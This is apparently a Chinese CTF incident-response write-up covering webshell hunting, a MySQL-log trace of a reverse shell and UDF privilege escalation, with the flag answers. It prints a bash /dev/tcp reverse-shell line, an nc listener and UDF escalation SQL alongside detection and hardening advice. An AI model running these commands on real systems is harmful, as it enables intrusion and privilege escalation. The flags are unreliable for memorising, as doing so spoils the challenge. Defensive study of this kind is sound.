第一题
看到shell就想到可疑函数
可疑函数调用
WebShell 通常会使用一些危险的函数来执行系统命令或代码,如:
PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()
编码和解码
WebShell 经常使用编码和解码技术来隐藏其真实意图,如 Base64 编码:
示例: eval(base64_decode('encoded_string'));
文件操作
WebShell 可能会包含文件操作函数,用于读取、写入或修改文件:
PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
ASP: FileSystemObject
网络操作
WebShell 可能会包含网络操作函数,用于与远程服务器通信:
PHP: fsockopen(), curl_exec(), file_get_contents('http://...')
ASP: WinHttp.WinHttpRequest
定位可疑文件
我们可以尝试定位一些特殊的后缀文件,例如:.asp, .php, .jsp, .aspx。
命令列如:
find ./ -type f -name "*.jsp" | xargs grep "exec("
find ./ -type f -name "*.php" | xargs grep "eval("
find ./ -type f -name "*.asp" | xargs grep "execute("
find ./ -type f -name "*.aspx" | xargs grep "eval("
我们一个一个试就好了
我们过去看一下
看到了第一题的flag
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
第二题
解题思路
让我们找出黑客反整shell的p是什么。那我们先简单了解一下反整shell的原理,反整shell(Reverse Shell)的原理是攻击者通过在目标系统上运行恶意代码,使得目标系统主动与攻击者的控制服务器建立连接,从而通过防火墙和其他安全措施。
反整shell的工作原理
-
攻击者准备监听: 攻击者在其控制的服务器上启动一个监听程序(通常是一个Netcat或类似工具),等待目标系统主动连接。
nc -lvp 4444
这里,
-l
表示监听模式,-v
表示冗长输出,-p
指定端口。 -
目标系统执行恶意代码: 攻击者通过漏洞利用、社交工程等手段,在目标系统上执行恶意代码。这段代码会打开一个shell,并尝试连接攻击者的服务器。
/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
这个命令的作用是通过TCP端口连接攻击者的IP地址和端口,并将输入和输出重定向到这个连接上。
-
建立连接: 目标系统主动向攻击者的服务器发起连接请求,由于是目标系统主动连接,一般不会被防火墙阻拦。
-
攻击者获得Shell访问: 一旦连接建立,攻击者就可以在其控制服务器上得到一个远程Shell,能够像在本地终端一样执行命令,控制目标系统。
到这里要找出黑客反整的shell,我们可以通过查看日志进行分析:
基本步骤:
-
检查日志文件: 查看MySQL的日志文件,特别是查询日志和错误日志。这些日志可以提供关于执行的查询和任何异常情况的信息。
-
查询日志: 记录所有的查询,包括成功和失败的查询。
-
错误日志: 记录MySQL服务器的错误、警告和通知。
这些日志通常位于 /var/log/mysql/
目录下。
-
检查审计日志: 如果启用了审计操作,可以查看审计日志。MySQL Enterprise Edition包含一个审计操作,可以记录所有SQL查询。
-
检查连接历史: 检查MySQL中的连接历史,找出哪些IP地址连接过数据库,可以通过查询
information_schema.processlist
或performance_schema
来获取连接信息。 -
检查特定的表和列: 查找数据库中是否有存储和执行恶意命令的痕迹,例如
system
或exec
等。
我们到mysql的日志去看看
看到一条比较可疑的信息
这段日志显示有人尝试在MySQL服务器上执行位于 /tmp/1.sh
的 shell 脚本。然而,该脚本的内容似乎并非有效的 shell 命令或脚本格式,而是类似于 HTTP 响应或下载日志的内容。日志中的每一行错误信息(如 command not found
)表明,脚本的每一行都被 shell 解释器当作命令来执行。由于这些行实际上是 HTTP 响应的一部分(例如日期、状态信息、长度描述等),shell 无法识别并执行它们,从而导致了一系列错误。
用find命令定位一下
find / -name '1.sh'
看到两个地方都有
我们直接进去看一下
第二题的答案有了
flag{192.168.100.13}
第三题
这里直接猜测是udf提权
要提权看到要先登录到mysql,那么肯定就有泄露密码,做过web题目的都知道在页面下泄露的
我们直接用命令定位过去
find /var/www/html | xargs grep "root"
我们试着登录一下看看
看来没错
简单查看一下mysql的配置,确定是否有提权
show global variables like '%secure%';
show global variables like '%secure%';
是一条 MySQL 查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。
secure_file_priv
变量为空意味着 MySQL 没有对文件操作进行限制。这就是黑客利用进行 UDF (User Defined Functions) 提权,因为他们可以将任意的共享库文件(例如 .so
文件)上传到服务器并通过 MySQL 加载执行
我们进入到mysql存放用户自定义函数目录下
将路径进行md5加密
得到第三题的答案
flag{B1818BDE4E310F3D23F1005185B973E7}
第四题
UDF提权的基本原理
-
UDF简介:UDF允许用户编写自定义函数并在SQL查询中使用。这些函数通常是用C或C++编写的,并编译为共享库(如
.so
文件在Linux上,或.dll
文件在Windows上)。 -
提权过程:
-
上传恶意共享库:攻击者首先需要将恶意的共享库文件上传到目标服务器的某个目录中。这个文件包含攻击者希望执行的代码。
-
创建UDF:攻击者使用SQL命令在数据库中创建UDF,并指定使用上传的共享库。
-
执行恶意代码:一旦UDF创建成功,攻击者可以通过调用这个函数来执行恶意代码,从而提升权限或执行其他操作。
-
UDF 提权攻击步骤
-
编写恶意 UDF 插件:攻击者编写一个包含恶意代码的共享库文件(如
.so
文件)。 -
上传恶意插件:利用 MySQL 的文件操作功能将恶意共享库文件上传到服务器上的某个路径。
SELECT '' INTO OUTFILE '/path/to/your/udf.so';
-
创建 UDF 函数:使用
CREATE FUNCTION
命令将上传的共享库文件加载为 MySQL 的 UDF 函数。CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';
-
执行命令:调用创建的 UDF 函数来执行系统命令。
SELECT do_system('id');
检查和防护措施
-
检查 UDF 函数:查看是否存在异常的 UDF 函数。
SELECT * FROM mysql.func;
-
限制
secure_file_priv
:将secure_file_priv
设置为一个特定的路径,限制 MySQL 文件操作的范围。secure_file_priv = /var/lib/mysql-files
-
移除不需要的 UDF 函数:删除所有可疑的 UDF 函数。
DROP FUNCTION IF EXISTS do_system;
-
权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。
-
日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。
我们到mysql里面检查一下
SELECT * FROM mysql.func;
检查 mysql.func
表中是否有异常的 UDF 函数
那么我们直接查一下whoami的值
select sys_eval('whoami');
攻击步骤总结
-
编写恶意 UDF 插件:攻击者编写包含恶意代码的共享库文件。
-
上传恶意插件:利用 MySQL 的文件操作功能将恶意文件上传到服务器。
-
创建 UDF 函数:使用
CREATE FUNCTION
命令将共享库文件加载为 UDF 函数。 -
执行命令:调用 UDF 函数执行系统命令,提升权限或执行其他恶意操作。
防护措施总结
-
检查 UDF 函数:定期检查 MySQL 中的 UDF 函数,确保没有异常函数存在。
sql
复制
SELECT * FROM mysql.func;
-
限制
secure_file_priv
:通过设置secure_file_priv
参数,限制 MySQL 文件操作的范围,防止攻击者上传恶意文件。ini
复制
[mysqld] secure_file_priv = /var/lib/mysql-files
-
移除不需要的 UDF 函数:删除所有可疑的 UDF 函数,防止被利用。
sql
复制
DROP FUNCTION IF EXISTS do_system;
-
权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。
-
日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动,及时发现并应对潜在的安全威胁。
我们就得到了第四题的答案
flag{mysql}